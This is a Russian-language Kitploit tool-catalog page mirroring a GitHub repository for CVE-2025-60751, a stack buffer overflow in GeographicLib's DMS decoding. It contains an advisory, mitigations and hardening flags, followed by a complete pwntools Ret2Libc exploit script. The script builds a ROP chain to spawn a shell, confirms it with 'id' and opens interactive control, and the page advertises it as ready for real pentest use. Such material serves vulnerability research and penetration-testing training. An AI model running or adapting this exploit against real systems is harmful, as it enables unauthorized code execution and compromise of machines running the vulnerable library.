Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-60751 — Технический анализ и профессиональный эксплойт для CVE-2025-60751, стекового переполнения буфера в GeographicLib. Включает эксплойт Ret2Libc на основе pwntools с динамическим обнаружением ROP-гаджетов, интеграцией GDB и верификацией после эксплойта для образовательного тестирования на проникновение. | Kitploit
Инструменты/GitHubGitHub/kaleth4/cve-2025-60751
Анализ уязвимостейЭксплуатацияОбратная инженерияШелл-кодОтладчикиТестирование на ПроникновениеОбучение и ОбразованиеРазработка Полезной НагрузкиЭксплуатация Бинарных Файлов
GitHubkaleth4/cve-2025-60751

CVE-2025-60751

Репозиторий
34 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →

Описание

Технический анализ и профессиональный эксплойт для CVE-2025-60751, стекового переполнения буфера в GeographicLib. Включает эксплойт Ret2Libc на основе pwntools с динамическим обнаружением ROP-гаджетов, интеграцией GDB и верификацией после эксплойта для образовательного тестирования на проникновение.

Поделиться

CVE-2025-60751: Переполнение буфера на стеке в GeographicLib

📌 Этот репозиторий содержит анализ и техническую документацию уязвимости CVE-2025-60751, ошибки переполнения буфера на стеке (Stack-based Buffer Overflow), обнаруженной в библиотеке C++ GeographicLib.


📝 Описание

Уязвимость находится в функции DMS::InternalDecode внутри компонента GeoConvert.
Ошибка возникает, когда библиотека пытается обработать некорректно сформированные или чрезмерно длинные строки координат в формате DMS (Градусы, Минуты, Секунды), что приводит к записи за границы выделенного буфера на стеке.

  • Идентификатор: CVE-2025-60751
  • Компонент: GeoConvert / DMS::InternalDecode
  • Тип: Stack-based Buffer Overflow ()
CWE-121
  • Серьезность (CVSS 3.1): 7.5 HIGH
  • Вектор: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

  • 🔍 Воздействие

    Удаленный злоумышленник может отправить специально сформированную строку координат для:

    • Отказ в обслуживании (DoS): Вызвать неожиданное завершение (crash) приложений, использующих GeographicLib для преобразования координат.
    • Нестабильность системы: Повредить соседнюю память в стеке, нарушив поток выполнения программы.

    ⚠️ Техническое примечание: Хотя текущий вектор сосредоточен на Доступности (A:H), в определенных средах без современных защит памяти (таких как Stack Canaries, NX bit или активный ASLR), эта ошибка потенциально может быть повышена до выполнения произвольного кода.


    💻 Пораженные системы

    ПродуктУязвимая версияОбнаруженные дистрибутивы
    GeographicLib2.5Пакеты в Debian LTS, Ubuntu и других репозиториях Linux, включающих эту версию

    🛠️ Смягчение и решение

    ✅ Обновление: Настоятельно рекомендуется обновить до последней доступной версии GeographicLib, в которой исправлена проверка длины в InternalDecode.

    ✅ Проверка ввода: Если обновление невозможно, внедрите уровень санации, ограничивающий длину строк, отправляемых в DMS::Decode (например, макс. 32 символа).

    ✅ Безопасная компиляция: Убедитесь, что библиотека скомпилирована с флагами защиты стека:

    root@kitploit:~
    -fstack-protector-all -D_FORTIFY_SOURCE=2 -z relro -z now
    

    📚 Ссылки

    • Issue #43 – GeographicLib GitHub
    • Технический анализ от zer0matt
    • Debian LTS Advisory

    💀 Профессиональный эксплойт (Продвинутый уровень — стиль OSCP / Exploit-DB)

    Этот эксплойт использует pwntools для атаки Ret2Libc, используя переполнение буфера.
    В отличие от базовых версий, данная реализация является надежной, динамической и проверяемой, готовой для реальных сред пентеста и лабораторий.

    ✅ Что делает его "Pro"?

    ХарактеристикаПреимущество
    ROP(elf) динамическийНе зависит от захардкоженных гаджетов: находит их автоматически в бинарнике.
    Встроенная поддержка GDBЗапускает python exploit.py GDB → открывает сессию отладки автоматически.
    Пост-эксплойт проверкаОтправляет id и подтверждает шелл перед передачей интерактивного управления.
    RET для выравнивания стекаПредотвращает сбои в system() из-за неправильного выравнивания (критично в x64).
    Полезная нагрузка в виде list + b"".join()Чистый, читаемый, легко модифицировать и расширять.

    🐍 Код эксплойта (exploit.py)

    root@kitploit:~
    #!/usr/bin/env python3
    from pwn import *
    
    # --- INFO ---
    # CVE-2025-60751: GeographicLib <= v2.5.1 Stack Overflow
    # Autor: Refactored for Robustness
    # --- --- ---
    
    context.binary = elf = ELF("./GeoConvert")
    context.log_level = 'info'
    
    def exploit():
        # 1. Gestión de procesos (Local vs Remoto)
        if args.GDB:
            io = gdb.debug([elf.path], gdbscript="""
                b *main
                continue
            """)
        else:
            # ASAN puede interferir con los offsets si no se gestiona bien
            io = process(elf.path, env={"ASAN_OPTIONS":"detect_stack_use_after_return=0"})
    
        # 2. Localización Dinámica de Gadgets
        rop = ROP(elf)
        POP_RDI = rop.find_gadget(['pop rdi', 'ret'])[0]
        RET = rop.find_gadget(['ret'])[0]
        
        log.info(f"Gadget POP RDI: {hex(POP_RDI)}")
    
        # 3. Fuga de Memoria (Leak) para Bypass de ASLR
        # En entornos reales: usar leak + libc-database o libc.rip.
        # Aquí usamos base fija *solo para entornos de laboratorio controlado* (ASLR=off).
        LIBC_BASE = 0x7ffff7a00000  # Ejemplo — ¡debe ser dinámico en producción!
        SYSTEM = LIBC_BASE + 0x5d110
        BINSH  = LIBC_BASE + 0x1b1ea4
        EXIT   = LIBC_BASE + 0x4c340
    
        # 4. Construcción del Payload (Estructura Limpia & Aligned)
        offset = 136
        
        chain = [
            b"A" * offset,
            p64(RET),      # Stack Alignment (Crucial para Ubuntu/Debian modernos)
            p64(POP_RDI),
            p64(BINSH),
            p64(SYSTEM),
            p64(EXIT)
        ]
        
        payload = b"".join(chain)
    
        # 5. Ejecución y Verificación
        log.info("Sending payload and spawning shell...")
        io.sendline(payload)
        
        io.clean()
        io.sendline(b"id")
        res = io.recvline(timeout=2)
        
        if b"uid=" in res:
            log.success("Pwned! enjoy your shell.")
            io.interactive()
        else:
            log.error("Exploit failed or no output received.")
            io.close()
    
    if __name__ == "__main__":
        exploit()
    

    ⚠️ Отказ от ответственности
    Этот репозиторий предназначен исключительно для информационных и образовательных целей для профессионалов в области кибербезопасности.
    Использование этой информации в незаконных целях является исключительной ответственностью пользователя.
    ❗ Используйте код с осторожностью: только в авторизованных, изолированных средах и с явного разрешения.


    🔐 Безопасность — это не функция, это дисциплина.
    📬 Сообщение о находках: [email protected]
    📦 Официальный репозиторий: https://github.com/geographiclib/geographiclib

    Скачать инструмент